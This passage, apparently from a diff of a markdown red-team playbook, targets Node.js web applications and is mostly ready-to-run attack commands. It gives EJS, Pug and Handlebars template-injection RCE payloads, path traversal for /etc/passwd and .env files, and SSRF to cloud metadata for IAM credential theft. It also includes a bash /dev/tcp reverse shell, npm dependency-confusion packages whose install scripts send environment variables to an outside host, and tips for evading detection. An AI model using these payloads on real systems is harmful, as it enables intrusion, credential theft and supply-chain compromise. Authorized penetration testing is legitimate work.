"NODE_OPTIONS": "--require /proc/self/fd/0",
|
|
260
|
+
"env": {"EVIL": "1"},
|
|
261
|
+
"stdio": [0,1,2]
|
|
262
|
+
}
|
|
263
|
+
}'
|
|
264
|
+
|
|
265
|
+
# Gadget: flatted / JSON stringify with __proto__ outputFunctionName (EJS-specific)
|
|
266
|
+
# See Phase 3 Step 8 for EJS chain
|
|
267
|
+
```
|
|
268
|
+
|
|
269
|
+
### Phase 3: Template Engine Injection
|
|
270
|
+
|
|
271
|
+
**Step 7 — Identify template engine**
|
|
272
|
+
|
|
273
|
+
```bash
|
|
274
|
+
# Send SSTI probe characters and observe error messages
|
|
275
|
+
for PAYLOAD in '{{7*7}}' '<%= 7*7 %>' '#{7*7}' '${7*7}' '{{7*"7"}}'; do
|
|
276
|
+
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")
|
|
277
|
+
RESULT=$(curl -sk "$TARGET/api/render?template=$ENCODED")
|
|
278
|
+
echo "Payload: $PAYLOAD | Response snippet: $(echo $RESULT | head -c 100)"
|
|
279
|
+
done
|
|
280
|
+
```
|
|
281
|
+
|
|
282
|
+
**Step 8 — EJS RCE**
|
|
283
|
+
|
|
284
|
+
```bash
|
|
285
|
+
# EJS allows arbitrary JS in delimiter expressions
|
|
286
|
+
# Classic EJS injection via outputFunctionName (CVE-2022-29078 style)
|
|
287
|
+
|
|
288
|
+
PAYLOAD='&outputFunctionName=x%3Bprocess.mainModule.require(%27child_process%27).execSync(%27id%27)%2F%2F'
|
|
289
|
+
|
|
290
|
+
curl -sk -G "$TARGET/render" \
|
|
291
|
+
--data-urlencode "template=<%= name %>" \
|
|
292
|
+
--data-urlencode "outputFunctionName=x;process.mainModule.require('child_process').execSync('id')//"
|
|
293
|
+
|
|
294
|
+
# If JSON body accepted:
|
|
295
|
+
curl -sk -X POST "$TARGET/render" \
|
|
296
|
+
-H "Content-Type: application/json" \
|
|
297
|
+
-d '{
|
|
298
|
+
"template": "<%= name %>",
|
|
299
|
+
"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"id\")//",
|
|
300
|
+
"name": "test"
|
|
301
|
+
}'
|
|
302
|
+
```
|
|
303
|
+
|
|
304
|
+
**Step 9 — Pug/Jade RCE**
|
|
305
|
+
|
|
306
|
+
```bash
|
|
307
|
+
# Pug executes JS in #{} blocks
|
|
308
|
+
curl -sk -X POST "$TARGET/api/render" \
|
|
309
|
+
-H "Content-Type: application/json" \
|
|
310
|
+
-d '{"template": "- var x = require(\"child_process\").execSync(\"id\").toString()\n= x"}'
|
|
311
|
+
|
|
312
|
+
# Alternative via inline code blocks
|
|
313
|
+
PTEMPLATE='p #{require("child_process").execSync("id").toString()}'
|
|
314
|
+
curl -sk -X POST "$TARGET/api/render" \
|
|
315
|
+
-H "Content-Type: application/json" \
|
|
316
|
+
-d "{\"template\": \"$PTEMPLATE\"}"
|
|
317
|
+
```
|
|
318
|
+
|
|
319
|
+
**Step 10 — Handlebars RCE**
|
|
320
|
+
|
|
321
|
+
```bash
|
|
322
|
+
# Handlebars prototype pollution to RCE (CVE-2019-19919 / CVE-2021-23369)
|
|
323
|
+
curl -sk -X POST "$TARGET/api/render" \
|
|
324
|
+
-H "Content-Type: application/json" \
|
|
325
|
+
-d '{
|
|
326
|
+
"template": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return require(\\u0027child_process\\u0027).execSync(\\u0027id\\u0027).toString();\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"
|
|
327
|
+
}'
|
|
328
|
+
```
|
|
329
|
+
|
|
330
|
+
### Phase 4: Path Traversal in Express
|
|
331
|
+
|
|
332
|
+
**Step 11 — Static file serving traversal**
|
|
333
|
+
|
|
334
|
+
```bash
|
|
335
|
+
# Express serve-static and express.static are vulnerable to path traversal
|
|
336
|
+
# when using older versions or misconfigured options
|
|
337
|
+
|
|
338
|
+
# Basic traversal
|
|
339
|
+
curl -sk "$TARGET/static/../../../etc/passwd"
|
|
340
|
+
curl -sk "$TARGET/assets/..%2F..%2F..%2Fetc%2Fpasswd"
|
|
341
|
+
curl -sk "$TARGET/assets/..%5C..%5C..%5Cetc%5Cpasswd" # Windows backslash
|
|
342
|
+
|
|
343
|
+
# Double encoding
|
|
344
|
+
curl -sk "$TARGET/static/%252e%252e%252f%252e%252e%252fetc%252fpasswd"
|
|
345
|
+
|
|
346
|
+
# Unicode normalization bypass
|
|
347
|
+
curl -sk "$TARGET/static/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
|
|
348
|
+
|
|
349
|
+
# Fuzz with wordlist
|
|
350
|
+
ffuf -u "$TARGET/static/FUZZ" \
|
|
351
|
+
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
|
|
352
|
+
-mc 200 -fs 0
|
|
353
|
+
```
|
|
354
|
+
|
|
355
|
+
**Step 12 — Express route parameter traversal**
|
|
356
|
+
|
|
357
|
+
```bash
|
|
358
|
+
# Routes like: app.get('/files/:filename', ...) with path.join()
|
|
359
|
+
curl -sk "$TARGET/files/../../../etc/passwd"
|
|
360
|
+
curl -sk "$TARGET/download?file=../../../etc/passwd"
|
|
361
|
+
curl -sk "$TARGET/download?file=....//....//....//etc/passwd"
|
|
362
|
+
|
|
363
|
+
# Target Node.js app secrets
|
|
364
|
+
for SECRET_FILE in ".env" "config/database.yml" "config/secrets.json" \
|
|
365
|
+
"config/production.json" ".env.production" "config/config.js"; do
|
|
366
|
+
RESULT=$(curl -sk "$TARGET/download?file=../$SECRET_FILE")
|
|
367
|
+
[ -n "$RESULT" ] && echo "[+] Found: $SECRET_FILE" && echo "$RESULT"
|
|
368
|
+
done
|
|
369
|
+
```
|
|
370
|
+
|
|
371
|
+
### Phase 5: SSRF in Node HTTP Clients
|
|
372
|
+
|
|
373
|
+
**Step 13 — Basic SSRF detection**
|
|
374
|
+
|
|
375
|
+
```bash
|
|
376
|
+
# Start interactsh listener for blind SSRF detection
|
|
377
|
+
interactsh-client -v &
|
|
378
|
+
COLLAB_HOST="YOUR-INTERACTSH-HOST.oast.fun" # replace with your interactsh host
|
|
379
|
+
|
|
380
|
+
# Test common SSRF parameters
|
|
381
|
+
for PARAM in url webhook callback redirect next image src href; do
|
|
382
|
+
curl -sk "$TARGET/api/fetch?$PARAM=http://$COLLAB_HOST/ssrf-$PARAM" &
|
|
383
|
+
done
|
|
384
|
+
wait
|
|
385
|
+
|
|
386
|
+
# Check interactsh for DNS/HTTP callbacks
|
|
387
|
+
sleep 3 && echo "Check interactsh output above"
|
|
388
|
+
```
|
|
389
|
+
|
|
390
|
+
**Step 14 — SSRF to internal service access**
|
|
391
|
+
|
|
392
|
+
```bash
|
|
393
|
+
# Cloud metadata endpoints
|
|
394
|
+
curl -sk -X POST "$TARGET/api/fetch" \
|
|
395
|
+
-H "Content-Type: application/json" \
|
|
396
|
+
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
|
|
397
|
+
|
|
398
|
+
# Azure IMDS
|
|
399
|
+
curl -sk -X POST "$TARGET/api/fetch" \
|
|
400
|
+
-H "Content-Type: application/json" \
|
|
401
|
+
-d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'
|
|
402
|
+
|
|
403
|
+
# GCP metadata
|
|
404
|
+
curl -sk -X POST "$TARGET/api/fetch" \
|
|
405
|
+
-H "Content-Type: application/json" \
|
|
406
|
+
-d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'
|
|
407
|
+
|
|
408
|
+
# Internal network scan via SSRF
|
|
409
|
+
for PORT in 3000 3306 5432 6379 8080 8443 9200 27017; do
|
|
410
|
+
RESULT=$(curl -sk --max-time 3 -X POST "$TARGET/api/fetch" \
|
|
411
|
+
-H "Content-Type: application/json" \
|
|
412
|
+
-d "{\"url\": \"http://127.0.0.1:$PORT\"}")
|
|
413
|
+
[ -n "$RESULT" ] && echo "[+] Port $PORT open: $(echo $RESULT | head -c 50)"
|
|
414
|
+
done
|
|
415
|
+
```
|
|
416
|
+
|
|
417
|
+
**Step 15 — SSRF protocol bypass**
|
|
418
|
+
|
|
419
|
+
```bash
|
|
420
|
+
# URL scheme bypasses for Node http/https clients
|
|
421
|
+
for BYPASS in \
|
|
422
|
+
"http://127.0.0.1:6379/" \
|
|
423
|
+
"http://0x7f000001:6379/" \
|
|
424
|
+
"http://0177.0.0.1:6379/" \
|
|
425
|
+
"http://[::1]:6379/" \
|
|
426
|
+
"http://localhost:6379/" \
|
|
427
|
+
"http://127.1:6379/" \
|
|
428
|
+
"http://2130706433:6379/"; do
|
|
429
|
+
curl -sk -X POST "$TARGET/api/fetch" \
|
|
430
|
+
-H "Content-Type: application/json" \
|
|
431
|
+
-d "{\"url\": \"$BYPASS\"}" --max-time 3
|
|
432
|
+
done
|
|
433
|
+
```
|
|
434
|
+
|
|
435
|
+
### Phase 6: ReDoS
|
|
436
|
+
|
|
437
|
+
**Step 16 — Identify vulnerable regex patterns**
|
|
438
|
+
|
|
439
|
+
```bash
|
|
440
|
+
# ReDoS requires knowledge of the regex — obtain from:
|
|
441
|
+
# 1. Exposed source code / JS files
|
|
442
|
+
# 2. Error messages
|
|
443
|
+
# 3. Open-source framework code matching the version
|
|
444
|
+
|
|
445
|
+
# Classic vulnerable pattern: (a+)+ or (a|aa)+
|
|
446
|
+
# Test with escalating input length to observe time increase
|
|
447
|
+
|
|
448
|
+
python3 - <<'EOF'
|
|
449
|
+
import requests, time
|
|
450
|
+
|
|
451
|
+
target = "https://target.example.com/api/validate"
|
|
452
|
+
baseline_len = 10
|
|
453
|
+
attack_len = 50000 # adjust based on timeout settings
|
|
454
|
+
|
|
455
|
+
payloads = [
|
|
456
|
+
("baseline", "a" * baseline_len),
|
|
457
|
+
("redos", "a" * attack_len + "!"), # forces catastrophic backtracking
|
|
458
|
+
]
|
|
459
|
+
|
|
460
|
+
for name, payload in payloads:
|
|
461
|
+
start = time.time()
|
|
462
|
+
try:
|
|
463
|
+
r = requests.post(target, json={"input": payload}, timeout=30)
|
|
464
|
+
except requests.exceptions.Timeout:
|
|
465
|
+
elapsed = 30.0
|
|
466
|
+
else:
|
|
467
|
+
elapsed = time.time() - start
|
|
468
|
+
print(f"[{name}] length={len(payload)} time={elapsed:.2f}s status={r.status_code if 'r' in dir() else 'timeout'}")
|
|
469
|
+
EOF
|
|
470
|
+
```
|
|
471
|
+
|
|
472
|
+
### Phase 7: npm Dependency Confusion
|
|
473
|
+
|
|
474
|
+
**Step 17 — Identify internal package names**
|
|
475
|
+
|
|
476
|
+
```bash
|
|
477
|
+
# Sources for internal package names:
|
|
478
|
+
# 1. package.json / package-lock.json (if exposed)
|
|
479
|
+
# 2. JS bundle source maps
|
|
480
|
+
# 3. Error messages referencing require() paths
|
|
481
|
+
# 4. GitHub/GitLab internal repos
|
|
482
|
+
|
|
483
|
+
curl -sk "$TARGET/package.json" | python3 -c "
|
|
484
|
+
import json, sys
|
|
485
|
+
pkg = json.load(sys.stdin)
|
|
486
|
+
for section in ['dependencies', 'devDependencies', 'peerDependencies']:
|
|
487
|
+
for name in pkg.get(section, {}).keys():
|
|
488
|
+
if not name.startswith('@') or '/' not in name:
|
|
489
|
+
# Unscoped or custom-scoped packages are candidates
|
|
490
|
+
print(name)
|
|
491
|
+
"
|
|
492
|
+
|
|
493
|
+
# Check if internal packages exist on public npm
|
|
494
|
+
while read PKG; do
|
|
495
|
+
STATUS=$(curl -sk -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$PKG")
|
|
496
|
+
[ "$STATUS" = "404" ] && echo "[CANDIDATE] $PKG not on public npm"
|
|
497
|
+
done < /tmp/internal-packages.txt
|
|
498
|
+
```
|
|
499
|
+
|
|
500
|
+
**Step 18 — Craft dependency confusion package**
|
|
501
|
+
|
|
502
|
+
```bash
|
|
503
|
+
# Create a malicious package with higher version number than internal one
|
|
504
|
+
mkdir -p /tmp/dep-confusion-pkg && cd /tmp/dep-confusion-pkg
|
|
505
|
+
|
|
506
|
+
cat > package.json <<'PKGJSON'
|
|
507
|
+
{
|
|
508
|
+
"name": "INTERNAL-PACKAGE-NAME",
|
|
509
|
+
"version": "99.0.0",
|
|
510
|
+
"description": "Dependency confusion test package",
|
|
511
|
+
"main": "index.js",
|
|
512
|
+
"scripts": {
|
|
513
|
+
"preinstall": "node -e \"require('child_process').execSync('curl http://COLLAB-HOST/dep-confusion-$(hostname)-$(whoami)')\"",
|
|
514
|
+
"install": "node -e \"require('child_process').execSync('curl http://COLLAB-HOST/dep-confusion-install-$(hostname)')\"",
|
|
515
|
+
"postinstall": "node exfil.js"
|
|
516
|
+
}
|
|
517
|
+
}
|
|
518
|
+
PKGJSON
|
|
519
|
+
|
|
520
|
+
cat > exfil.js <<'EXFIL'
|
|
521
|
+
const { execSync } = require('child_process');
|
|
522
|
+
const os = require('os');
|
|
523
|
+
try {
|
|
524
|
+
const info = {
|
|
525
|
+
hostname: os.hostname(),
|
|
526
|
+
user: os.userInfo().username,
|
|
527
|
+
platform: os.platform(),
|
|
528
|
+
env: process.env,
|
|
529
|
+
cwd: process.cwd(),
|
|
530
|
+
};
|
|
531
|
+
execSync(`curl -s -X POST http://COLLAB-HOST/exfil --data '${JSON.stringify(info)}'`);
|
|
532
|
+
} catch(e) {}
|
|
533
|
+
EXFIL
|
|
534
|
+
|
|
535
|
+
# Publish to npm (requires npm account and careful authorization)
|
|
536
|
+
# npm publish --access public
|
|
537
|
+
# NOTE: Only publish to npm in authorized red team engagements with written permission
|
|
538
|
+
echo "[!] Review package contents, obtain written authorization, then: npm publish --access public"
|
|
539
|
+
```
|
|
540
|
+
|
|
541
|
+
---
|
|
542
|
+
|
|
543
|
+
## 5. Real Attack Scenarios
|
|
544
|
+
|
|
545
|
+
### Scenario A: Prototype Pollution to RCE via EJS (Express + EJS Stack)
|
|
546
|
+
|
|
547
|
+
**Context:** Target is an Express.js application using `lodash.merge` to process user-submitted configuration objects, and EJS for rendering.
|
|
548
|
+
|
|
549
|
+
```bash
|
|
550
|
+
TARGET="https://target.example.com"
|
|
551
|
+
|
|
552
|
+
# Step 1: Confirm EJS is in use
|
|
553
|
+
curl -sk "$TARGET/package.json" | grep ejs
|
|
554
|
+
# Output: "ejs": "^3.1.6"
|
|
555
|
+
|
|
556
|
+
# Step 2: Verify lodash.merge endpoint accepts nested objects
|
|
557
|
+
curl -sk -X POST "$TARGET/api/config" \
|
|
558
|
+
-H "Content-Type: application/json" \
|
|
559
|
+
-d '{"theme": "dark"}' | python3 -m json.tool
|
|
560
|
+
|
|
561
|
+
# Step 3: Inject prototype pollution payload to set EJS outputFunctionName
|
|
562
|
+
curl -sk -X POST "$TARGET/api/config" \
|
|
563
|
+
-H "Content-Type: application/json" \
|
|
564
|
+
-d '{
|
|
565
|
+
"__proto__": {
|
|
566
|
+
"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"id > /tmp/pwned\");x"
|
|
567
|
+
}
|
|
568
|
+
}'
|
|
569
|
+
|
|
570
|
+
# Step 4: Trigger EJS rendering to execute the polluted outputFunctionName
|
|
571
|
+
curl -sk "$TARGET/dashboard"
|
|
572
|
+
|
|
573
|
+
# Step 5: Verify code execution via out-of-band or direct read
|
|
574
|
+
curl -sk "$TARGET/static/../../../tmp/pwned"
|
|
575
|
+
|
|
576
|
+
# Step 6: Upgrade to reverse shell
|
|
577
|
+
LHOST="10.10.14.1"
|
|
578
|
+
LPORT="4444"
|
|
579
|
+
|
|
580
|
+
# Listener in another terminal: nc -lvnp 4444
|
|
581
|
+
curl -sk -X POST "$TARGET/api/config" \
|
|
582
|
+
-H "Content-Type: application/json" \
|
|
583
|
+
-d "{
|
|
584
|
+
\"__proto__\": {
|
|
585
|
+
\"outputFunctionName\": \"x;require('child_process').exec('bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1');x\"
|
|
586
|
+
}
|
|
587
|
+
}"
|
|
588
|
+
curl -sk "$TARGET/dashboard"
|
|
589
|
+
```
|
|
590
|
+
|
|
591
|
+
### Scenario B: SSRF to AWS Metadata to IAM Credential Theft (Next.js API Route)
|
|
592
|
+
|
|
593
|
+
**Context:** Next.js application with an API route `/api/preview` that fetches a user-supplied URL to render a preview. Deployed on AWS EC2.
|
|
594
|
+
|
|
595
|
+
```bash
|
|
596
|
+
TARGET="https://target.example.com"
|
|
597
|
+
|
|
598
|
+
# Step 1: Confirm SSRF vulnerability
|
|
599
|
+
COLLAB="YOUR.oast.fun"
|
|
600
|
+
curl -sk "$TARGET/api/preview?url=http://$COLLAB/probe"
|
|
601
|
+
# Check interactsh for DNS/HTTP hit
|
|
602
|
+
|
|
603
|
+
# Step 2: Access AWS IMDSv1 (no token required)
|
|
604
|
+
curl -sk "$TARGET/api/preview?url=http://169.254.169.254/latest/meta-data/"
|
|
605
|
+
# Returns list of metadata keys
|
|
606
|
+
|
|
607
|
+
# Step 3: Get IAM role name
|
|
608
|
+
ROLE=$(curl -sk "$TARGET/api/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" | tr -d '\n')
|
|
609
|
+
echo "IAM Role: $ROLE"
|
|
610
|
+
|
|
611
|
+
# Step 4: Extract temporary credentials
|
|
612
|
+
curl -sk "$TARGET/api/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" | python3 -m json.tool
|
|
613
|
+
# Returns: AccessKeyId, SecretAccessKey, Token, Expiration
|
|
614
|
+
|
|
615
|
+
# Step 5: Use credentials for lateral movement
|
|
616
|
+
export AWS_ACCESS_KEY_ID="ASIA..."
|
|
617
|
+
export AWS_SECRET_ACCESS_KEY="..."
|
|
618
|
+
export AWS_SESSION_TOKEN="..."
|
|
619
|
+
|
|
620
|
+
aws sts get-caller-identity
|
|
621
|
+
aws s3 ls
|
|
622
|
+
aws ec2 describe-instances --region us-east-1
|
|
623
|
+
aws secretsmanager list-secrets --region us-east-1
|
|
624
|
+
|
|
625
|
+
# Step 6: If IMDSv2 enforced, use hop via SSRF
|
|
626
|
+
curl -sk -X POST "$TARGET/api/preview" \
|
|
627
|
+
-H "Content-Type: application/json" \
|
|
628
|
+
-d '{"url": "http://169.254.169.254/latest/api/token", "method": "PUT", "headers": {"X-aws-ec2-metadata-token-ttl-seconds": "21600"}}'
|
|
629
|
+
# Use returned token in subsequent requests
|
|
630
|
+
```
|
|
631
|
+
|
|
632
|
+
### Scenario C: npm Dependency Confusion Against Internal CI/CD Pipeline
|
|
633
|
+
|
|
634
|
+
**Context:** Engagement scope includes the target's internal build infrastructure. `package.json` exposed via a misconfigured S3 bucket contains internal package names not published to npm.
|
|
635
|
+
|
|
636
|
+
```bash
|
|
637
|
+
# Step 1: Discover internal package names
|
|
638
|
+
aws s3 cp s3://target-build-artifacts/package.json /tmp/target-package.json --no-sign-request 2>/dev/null || \
|
|
639
|
+
curl -sk "https://target-public-s3.s3.amazonaws.com/builds/package.json" -o /tmp/target-package.json
|
|
640
|
+
|
|
641
|
+
# Step 2: Identify packages not on public npm
|
|
642
|
+
python3 - <<'EOF'
|
|
643
|
+
import json, urllib.request
|
|
644
|
+
|
|
645
|
+
with open('/tmp/target-package.json') as f:
|
|
646
|
+
pkg = json.load(f)
|
|
647
|
+
|
|
648
|
+
all_deps = {}
|
|
649
|
+
for section in ['dependencies', 'devDependencies', 'peerDependencies']:
|
|
650
|
+
all_deps.update(pkg.get(section, {}))
|
|
651
|
+
|
|
652
|
+
for name in all_deps:
|
|
653
|
+
try:
|
|
654
|
+
url = f"https://registry.npmjs.org/{name}"
|
|
655
|
+
req = urllib.request.urlopen(url, timeout=5)
|
|
656
|
+
status = req.getcode()
|
|
657
|
+
except Exception:
|
|
658
|
+
status = 404
|
|
659
|
+
if status == 404:
|
|
660
|
+
print(f"[CANDIDATE] {name}")
|
|
661
|
+
EOF
|
|
662
|
+
|
|
663
|
+
# Step 3: Create and publish confusion package (with authorization)
|
|
664
|
+
INTERNAL_PKG="@target-internal/auth-utils" # example
|
|
665
|
+
|
|
666
|
+
mkdir -p /tmp/confusion && cd /tmp/confusion
|
|
667
|
+
cat > package.json <<PKGJSON
|
|
668
|
+
{
|
|
669
|
+
"name": "$INTERNAL_PKG",
|
|
670
|
+
"version": "9999.0.0",
|
|
671
|
+
"main": "index.js",
|
|
672
|
+
"scripts": {
|
|
673
|
+
"postinstall": "node beacon.js"
|
|
674
|
+
}
|
|
675
|
+
}
|
|
676
|
+
PKGJSON
|
|
677
|
+
|
|
678
|
+
cat > beacon.js <<'BEACON'
|
|
679
|
+
const { execSync } = require('child_process');
|
|
680
|
+
const os = require('os');
|
|
681
|
+
const https = require('https');
|
|
682
|
+
|
|
683
|
+
const data = JSON.stringify({
|
|
684
|
+
t: 'dep-confusion',
|
|
685
|
+
h: os.hostname(),
|
|
686
|
+
u: os.userInfo().username,
|
|
687
|
+
p: process.platform,
|
|
688
|
+
cwd: process.cwd(),
|
|
689
|
+
env: Object.keys(process.env),
|
|
690
|
+
node: process.version,
|
|
691
|
+
});
|
|
692
|
+
|
|
693
|
+
const req = https.request({
|
|
694
|
+
hostname: 'COLLAB-HOST',
|
|
695
|
+
path: '/dep-confusion',
|
|
696
|
+
method: 'POST',
|
|
697
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': data.length }
|
|
698
|
+
});
|
|
699
|
+
req.write(data);
|
|
700
|
+
req.end();
|
|
701
|
+
BEACON
|
|
702
|
+
|
|
703
|
+
cat > index.js <<'IDX'
|
|
704
|
+
module.exports = {};
|
|
705
|
+
IDX
|
|
706
|
+
|
|
707
|
+
npm publish --access public
|
|
708
|
+
# Monitor COLLAB-HOST for POST requests from target CI environment
|
|
709
|
+
```
|
|
710
|
+
|
|
711
|
+
---
|
|
712
|
+
|
|
713
|
+
## 6. OPSEC Considerations
|
|
714
|
+
|
|
715
|
+
### Detection Risks
|
|
716
|
+
|
|
717
|
+
| Technique | Detection Signal | Risk Level |
|
|
718
|
+
|---|---|---|
|
|
719
|
+
| Prototype pollution probes | Unusual JSON keys (`__proto__`, `constructor`) in WAF/SIEM logs | Medium |
|
|
720
|
+
| SSTI payloads | Math expressions in URL parameters trigger WAF signatures | High |
|
|
721
|
+
| SSRF to metadata | Outbound connections to 169.254.169.254 in VPC flow logs | High |
|
|
722
|
+
| Path traversal | Repeated `../` sequences in access logs | High |
|
|
723
|
+
| ReDoS | Timeout spikes in APM/Datadog metrics | Medium |
|
|
724
|
+
| npm dep confusion | Package installation beacon in CI logs | Low (post-install) |
|
|
725
|
+
| Nuclei scanning | High request rate, known scanner User-Agents | High |
|
|
726
|
+
|
|
727
|
+
### Mitigation Strategies (Operator Side)
|
|
728
|
+
|
|
729
|
+
```bash
|
|
730
|
+
# Rotate User-Agent on every request
|
|
731
|
+
curl -sk -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" "$TARGET/api"
|
|
732
|
+
|
|
733
|
+
# Add random delays between probe requests
|
|
734
|
+
python3 - <<'EOF'
|
|
735
|
+
import time, random
|
|
736
|
+
# Between each request:
|
|
737
|
+
time.sleep(random.uniform(0.5, 3.0))
|
|
738
|
+
EOF
|
|
739
|
+
|
|
740
|
+
# Route through Burp Collaborator or interactsh for all callbacks
|
|
741
|
+
# Never use your own infrastructure IP directly for SSRF callbacks
|
|
742
|
+
|
|
743
|
+
# Use --proxy with curl to route through Burp/SOCKS5
|
|
744
|
+
curl -sk -x socks5h://127.0.0.1:1080 "$TARGET/api"
|
|
745
|
+
|
|
746
|
+
# Remove nuclei default headers / use custom config
|
|
747
|
+
nuclei -u "$TARGET" -t cves/ -H "User-Agent: Mozilla/5.0" -rate-limit 5 -timeout 10
|
|
748
|
+
|
|
749
|
+
# For prototype pollution: test one payload variant at a time, not bulk fuzzing
|
|
750
|
+
```
|
|
751
|
+
|
|
752
|
+
### Minimizing Blast Radius
|
|
753
|
+
|
|
754
|
+
- Test ReDoS with short payloads first; increase length incrementally
|
|
755
|
+
- Avoid writing to disk on production systems (use in-memory exfil where possible)
|
|
756
|
+
- Prefer OOB (interactsh/Burp Collaborator) detection over active file creation
|
|
757
|
+
- For dependency confusion: use beacon-only payloads, not reverse shells, unless scope explicitly permits
|
|
758
|
+
- Document every payload sent with timestamp, endpoint, and response
|
|
759
|
+
|
|
760
|
+
---
|
|
761
|
+
|
|
762
|
+
## 7. Output and Documentation Instructions
|
|
763
|
+
|
|
764
|
+
### Per-Finding Documentation
|
|
765
|
+
|
|
766
|
+
For each confirmed finding, capture:
|
|
767
|
+
|
|
768
|
+
```bash
|
|
769
|
+
# Timestamped evidence capture
|
|
770
|
+
mkdir -p /tmp/rt-nodejs-evidence/$(date +%Y%m%d)
|
|
771
|
+
|
|
772
|
+
# Save raw HTTP request/response
|
|
773
|
+
curl -sk -v -X POST "$TARGET/api/endpoint" \
|
|
774
|
+
-H "Content-Type: application/json" \
|
|
775
|
+
-d '{"payload": "here"}' \
|
|
776
|
+
> /tmp/rt-nodejs-evidence/$(date +%Y%m%d)/finding-prototype-pollution.txt 2>&1
|
|
777
|
+
|
|
778
|
+
# Record command and output
|
|
779
|
+
tee /tmp/rt-nodejs-evidence/$(date +%Y%m%d)/finding-rce.txt <<'EOF'
|
|
780
|
+
Date: $(date -u)
|
|
781
|
+
Target: https://target.example.com/api/config
|
|
782
|
+
Vulnerability: Prototype Pollution -> RCE via EJS outputFunctionName
|
|
783
|
+
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
|
|
784
|
+
Payload: {"__proto__": {"outputFunctionName": "x;require('child_process').execSync('id')//x"}}
|
|
785
|
+
Evidence: [paste response showing command output]
|
|
786
|
+
EOF
|
|
787
|
+
```
|
|
788
|
+
|
|
789
|
+
### Report Structure per Finding
|
|
790
|
+
|
|
791
|
+
```
|
|
792
|
+
Title: [Vulnerability Class] in [Component] — [Impact]
|
|
793
|
+
Severity: Critical / High / Medium / Low / Informational
|
|
794
|
+
CVSS Score: [score] ([vector])
|
|
795
|
+
Affected Endpoint: [METHOD] [URL]
|
|
796
|
+
Affected Parameter: [parameter name / location]
|
|
797
|
+
Description: [1-2 sentences]
|
|
798
|
+
Steps to Reproduce: [numbered list]
|
|
799
|
+
Evidence: [screenshot path or curl output]
|
|
800
|
+
Impact: [what an attacker can do]
|
|
801
|
+
Remediation: [specific fix recommendation]
|
|
802
|
+
References: [CVE or CWE]
|
|
803
|
+
```
|
|
804
|
+
|
|
805
|
+
### Evidence Files to Collect
|
|
806
|
+
|
|
807
|
+
- Raw HTTP requests and responses (Burp export or curl -v output)
|
|
808
|
+
- Screenshots of RCE output (command execution proof)
|
|
809
|
+
- Network captures for SSRF (Wireshark pcap or interactsh logs)
|
|
810
|
+
- Extracted secrets (sanitize before including in report — note presence, not full value)
|
|
811
|
+
- Timeline of actions taken
|
|
812
|
+
|
|
813
|
+
---
|
|
814
|
+
|
|
815
|
+
## 8. Resources
|
|
816
|
+
|
|
817
|
+
### Vulnerability Research and References
|
|
818
|
+
|
|
819
|
+
- Prototype Pollution: https://github.com/nicholasess/prototype-pollution-explained
|
|
820
|
+
- Prototype Pollution Gadgets: https://github.com/BlackFan/client-side-prototype-pollution
|
|
821
|
+
- Server-Side Prototype Pollution Scanner: https://github.com/portswigger/server-side-prototype-pollution
|
|
822
|
+
- EJS RCE (CVE-2022-29078): https://eslam.io/posts/ejs-server-side-template-injection-rce/
|
|
823
|
+
- Handlebars SSTI Payloads: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
|
|
824
|
+
- Node.js SSRF Bypasses: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
|
|
825
|
+
- ReDoS: https://owasp.org/www-community/attacks/ReDoS
|
|
826
|
+
- npm Dependency Confusion (Alex Birsan): https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
|
|
827
|
+
- PayloadsAllTheThings Node.js: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#nodejs---nunjucks
|
|
828
|
+
|
|
829
|
+
### Vulnerable Applications for Practice
|
|
830
|
+
|
|
831
|
+
- NodeGoat (OWASP): https://github.com/OWASP/NodeGoat
|
|
832
|
+
- Damn Vulnerable Node Application: https://github.com/appsecco/dvna
|
|
833
|
+
- HackTheBox Node (retired): https://www.hackthebox.com/machines/node
|
|
834
|
+
- VulnHub Node challenges: https://www.vulnhub.com/?q=node
|
|
835
|
+
|
|
836
|
+
### Tools
|
|
837
|
+
|
|
838
|
+
- Server-Side Prototype Pollution Scanner (Burp extension): https://github.com/portswigger/server-side-prototype-pollution
|
|
839
|
+
- PPScan (prototype pollution scanner): https://github.com/msrkp/PPScan
|
|
840
|
+
- interactsh: https://github.com/projectdiscovery/interactsh
|
|
841
|
+
- nuclei templates: https://github.com/projectdiscovery/nuclei-templates
|
|
842
|
+
- retire.js: https://github.com/RetireJS/retire.js
|
|
843
|
+
- ffuf: https://github.com/ffuf/ffuf
|
|
844
|
+
|
|
845
|
+
### CVE References
|
|
846
|
+
|
|
847
|
+
- CVE-2022-29078 — EJS outputFunctionName RCE
|
|
848
|
+
- CVE-2021-23369 — Handlebars.js prototype pollution RCE
|
|
849
|
+
- CVE-2021-23383 — Handlebars.js prototype pollution RCE
|
|
850
|
+
- CVE-2020-28481 — socket.io SSRF
|
|
851
|
+
- CVE-2019-10744 — lodash prototype pollution via defaultsDeep
|
|
852
|
+
